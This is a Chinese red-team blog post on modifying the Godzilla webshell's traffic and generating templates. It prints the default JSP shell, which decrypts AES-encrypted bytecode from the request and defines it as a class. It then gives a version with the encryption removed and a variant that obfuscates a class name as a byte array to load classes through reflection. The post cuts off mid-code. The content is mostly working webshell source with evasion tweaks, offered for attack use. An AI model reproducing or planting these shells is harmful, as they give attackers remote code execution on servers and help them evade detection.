红队必备知识：哥斯拉流量魔改以及模板生成

最新推荐文章于 2025-07-14 01:41:17 发布

原创

最新推荐文章于 2025-07-14 01:41:17 发布 · 467 阅读

2 ·

CC 4.0 BY-SA版权

文章标签：

#网络安全 #安全威胁分析 #web安全 #系统安全 #java

JSP

这是哥斯拉默认加密方法AES_RAW，加解密流程读取data-AES解密-AES加密-发送data

其中的xc 也就是aes加密的密钥，就是哥斯拉pass+key的md5编码

<%! String xc="c4ca4238a0b92382"; class X extends ClassLoader{publicX(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb,0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipherc=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,newjavax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch(Exception e){return null; }}%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int_num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",newX(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=newjava.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch(Exception e){}%>

这里我们直接去掉aes加解密操作

<%!class X extends ClassLoader {
  
   public X(ClassLoader z) {
  
     super(z); } public Class Q(byte[] cb) {
  
     return super.defineClass(cb, 0, cb.length); }}%><%try {
  
   byte[] data = new byte[Integer.parseInt(request.getHeader("Content-Length"))]; java.io.InputStream inputStream = request.getInputStream(); int _num = 0;  while ((_num += inputStream.read(data, _num, data.length)) < data.length);  if (session.getAttribute("payload") == null) {
  
     // 如果 session 中没有 "payload"，加载字节码并将其转换为类   session.setAttribute("payload", newX(this.getClass().getClassLoader()).Q(data));} else {
  
     // 如果 session 中已有 "payload"，执行后续操作   request.setAttribute("parameters", data);   Object f = ((Class)session.getAttribute("payload")).newInstance();      // 输出流用于收集类的执行结果   java.io.ByteArrayOutputStream arrOut = newjava.io.ByteArrayOutputStream();   f.equals(arrOut);   f.equals(pageContext);   f.toString();      // 输出执行结果   response.getOutputStream().write(arrOut.toByteArray()); }} catch (Exception e) {}%>

其中也可以这样子修改，只需要保留主体逻辑，这样修改避免了定义classloader方法而是采用字节码动态加载

<%!%><%try {
  
   byte[] data = new byte[Integer.parseInt(request.getHeader("Content-Length"))]; java.io.InputStream inputStream = request.getInputStream(); int _num = 0;  while ((_num += inputStream.read(data, _num, data.length)) < data.length);  if (session.getAttribute("payload") == null) {
  
     // 如果 session 中没有 "payload"，加载字节码并将其转换为类    Class cc = Class.forName("c" + new String(new byte[]{111,109,46,115,117,110,46,106,109,120,46,114,101,109,111,116,101,46,117,116,105,108,46,79,114,100,101,114,67,108,97,115,115,76,111,97,100,101,114}) + "s");    Object a = Thread.currentThread().getContextClassLoader();    Object b = cc.getDeclaredConstructor(new Class[]{ClassLoader.class,ClassLoader.class}).newInstance(a, a);    java.lang.reflect.Method c = cc.getSuperclass().getDeclaredMethod("d" +